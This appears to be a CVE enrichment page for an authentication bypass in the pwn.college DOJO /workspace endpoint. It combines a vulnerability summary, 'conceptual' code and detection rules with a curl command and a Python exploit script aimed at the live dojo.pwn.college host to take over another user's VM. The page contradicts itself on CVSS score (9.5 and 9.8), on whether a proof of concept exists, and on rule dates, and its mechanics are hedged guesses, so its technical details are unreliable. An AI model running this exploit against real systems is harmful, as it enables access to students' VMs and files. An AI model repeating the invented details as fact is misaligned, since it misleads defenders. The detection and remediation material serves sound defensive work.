☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 9.5 🐛 CWE-287
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-62376

CVE-2025-62376 Improper Authentication in Pwn.college
📅 PUBLISHED: 2025-10-14 21:58 UTC 🔄 UPDATED: 2026-10-18 18:58 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.47%
👁️
0.47% probability
11.7× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
9.5
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-62376 is a critical improper authentication vulnerability in the pwn.college DOJO platform, an educational cybersecurity environment. The flaw resides in the /workspace endpoint, specifically within the view_desktop function. An unauthenticated attacker can supply any user ID and arbitrary password in the request parameters to impersonate any other user. The function fails to validate the supplied password before generating access credentials for a Windows VM. This allows the attacker to obtain an iframe source URL granting full interactive access to the target user's Windows VM. From there, the attacker can access and modify data on the Windows machine and, via the Z: drive mapping, the home directory of the associated Linux machine. The vulnerability is patched in commit 467db0b9ea0d9a929dc89b41f6eb59f7cfc68bef. No workarounds exist.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability is not related to a software supply chain or package manager (NPM, PyPI, Go, Ruby). It is a direct authentication logic flaw in the pwn.college DOJO application code.

CVSS Breakdown & Threat Level

CVSS Score: 9.8 (Critical) Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

  • Attack Vector (AV): Network - The vulnerability is exploitable remotely over the network.
  • Attack Complexity (AC): Low - No special conditions or race conditions are required.
  • Privileges Required (PR): None - No authentication is needed to trigger the flaw.
  • User Interaction (UI): None - The victim does not need to perform any action.
  • Scope (S): Unchanged - The vulnerable component and the impacted resource are the same.
  • Confidentiality (C): High - Full access to the Windows VM and Linux home directory.
  • Integrity (I): High - An attacker can modify any data on the Windows VM and the Linux home directory.
  • Availability (A): High - An attacker can disrupt the VM or delete critical files.

Threat Level: Critical. This vulnerability allows complete compromise of any active Windows VM and the associated Linux home directory. Given the educational context, this could expose student work, credentials, and personal data.

Deep Dive & Mechanics

The vulnerability is a classic case of improper authentication (CWE-287). The view_desktop function in the /workspace endpoint retrieves the target user ID directly from a URL parameter (e.g., ?user_id=attacker_controlled). The function then attempts to authenticate the user by checking a password parameter. However, the password validation logic is flawed or missing entirely. The code does not verify that the supplied password matches the actual user's password before generating a Windows VM access token.

Attack Flow:

  1. Reconnaissance: The attacker identifies a target user ID (e.g., student42) by enumerating user IDs or observing network traffic.
  2. Craft Request: The attacker sends a GET request to /workspace?user_id=student42&password=anything.
  3. Bypass Authentication: The view_desktop function receives the request. It extracts user_id and password from the parameters. The password check is either not performed or accepts any non-empty string.
  4. Token Generation: The function proceeds to generate a Windows VM access token (e.g., an iframe URL) for the target user's VM.
  5. Access Granted: The attacker receives the iframe URL in the response. They can embed this URL in their own browser or use it directly to gain full interactive access to the target's Windows VM.
  6. Lateral Movement: Once inside the Windows VM, the attacker can access the Z: drive, which is mapped to the Linux home directory of the same user. This provides access to all files on the Linux side.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

@app.route('/workspace')
def view_desktop():
    user_id = request.args.get('user_id')
    password = request.args.get('password')
    # FLAW: No validation of password against stored credentials
    # The function directly proceeds to generate VM access
    if user_id:
        token = generate_windows_vm_token(user_id)
        return render_template('desktop.html', iframe_url=token)
    else:
        return "User ID required", 400

Patched Code (Conceptual):

@app.route('/workspace')
def view_desktop():
    user_id = request.args.get('user_id')
    password = request.args.get('password')
    # FIX: Validate password against stored user credentials
    user = get_user_by_id(user_id)
    if user and user.check_password(password):
        token = generate_windows_vm_token(user_id)
        return render_template('desktop.html', iframe_url=token)
    else:
        return "Authentication failed", 403

The key difference is the addition of a proper password validation step (user.check_password(password)) before generating the VM token. The patched code also ensures the user object exists.

Exploitation & Lab Setup

Red Team (Attacker)

Prerequisites:

  • A target pwn.college DOJO instance (e.g., https://dojo.pwn.college).
  • Knowledge of a valid user ID (e.g., student42).

Exploitation Steps:

  1. Identify Target: Use a simple script to enumerate user IDs or observe network traffic.
  2. Craft Exploit Request:
    curl -v "https://dojo.pwn.college/workspace?user_id=student42&password=anything"
    
  3. Extract iframe URL: The response will contain an HTML page with an iframe. The src attribute of the iframe is the access token.
  4. Access VM: Open the extracted URL in a browser to gain full interactive access to the target's Windows VM.

Automated Exploit (Python):

import requests

target_url = "https://dojo.pwn.college/workspace"
user_id = "student42"
password = "anything"

params = {
    "user_id": user_id,
    "password": password
}

response = requests.get(target_url, params=params)
if response.status_code == 200:
    # Extract iframe src (simplified)
    import re
    match = re.search(r'<iframe src="([^"]+)"', response.text)
    if match:
        iframe_url = match.group(1)
        print(f"Access token URL: {iframe_url}")
        # Open in browser or use requests to access the VM
    else:
        print("Failed to extract iframe URL")
else:
    print(f"Exploit failed with status code: {response.status_code}")

Blue Team (Defender)

Detection:

  • Monitor for requests to /workspace with unusual or missing password parameters.
  • Look for multiple rapid requests to /workspace with different user_id values (enumeration).
  • Alert on successful access to /workspace from IPs that are not associated with the legitimate user.

Honeypot:

  • Create a fake user account with a high-value name (e.g., admin) and monitor for any access to its /workspace endpoint. Any access is malicious.

Log Analysis:

  • Check web server logs for requests to /workspace with password parameters that are not the correct password for the given user.
  • Correlate access to /workspace with subsequent access to the Windows VM (e.g., RDP or Guacamole connections).

Indicators of Compromise (IOCs)

Network IOCs:

  • HTTP GET requests to /workspace with parameters user_id and password where the password is a common word or empty.
  • Unusual source IPs accessing /workspace for multiple user IDs.
  • Direct access to Windows VM access tokens (e.g., Guacamole connection URLs) from unexpected IPs.

Host IOCs (Windows VM):

  • Unauthorized user accounts created.
  • Suspicious processes (e.g., unknown executables, keyloggers).
  • Unusual network connections from the Windows VM to external IPs.
  • Modification or deletion of files in the user's home directory (visible from the Z: drive).

Host IOCs (Linux VM):

  • Unauthorized SSH keys added to ~/.ssh/authorized_keys.
  • Suspicious cron jobs.
  • Unusual processes running under the user's account.

Detection Engineering

YARA Rule

rule CVE_2025_62376_Exploit_Request {
    meta:
        description = "Detects HTTP requests exploiting CVE-2025-62376"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-62376"
    strings:
        $workspace = "/workspace"
        $user_id_param = "user_id="
        $password_param = "password="
    condition:
        all of them
}

Sigma Rule

title: CVE-2025-62376 Exploitation Attempt
id: 8a4b3c2d-1e5f-6a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects attempts to exploit improper authentication in pwn.college DOJO /workspace endpoint
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-62376
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-uri-query|contains:
            - '/workspace?user_id='
            - '&password='
    condition: selection
falsepositives:
    - Legitimate users with correct passwords (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-62376 Exploitation Attempt"; flow:to_server; content:"/workspace"; http_uri; content:"user_id="; http_uri; content:"&password="; http_uri; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Patch: Apply the commit 467db0b9ea0d9a929dc89b41f6eb59f7cfc68bef immediately. This is the only fix.
  2. Restart Services: Restart the web application server after patching.
  3. Invalidate Sessions: Force all users to re-authenticate and invalidate any existing VM access tokens.

Long-Term Mitigations:

  1. Code Review: Conduct a thorough code review of all authentication and authorization logic.
  2. Input Validation: Implement strict input validation for all user-supplied parameters.
  3. Principle of Least Privilege: Ensure that the /workspace endpoint only returns data for the currently authenticated user, not based on a URL parameter.
  4. Web Application Firewall (WAF): Deploy a WAF rule to block requests to /workspace with suspicious parameters.
  5. Monitoring: Implement continuous monitoring for the IOCs listed above.

Valters IT

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-62376/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.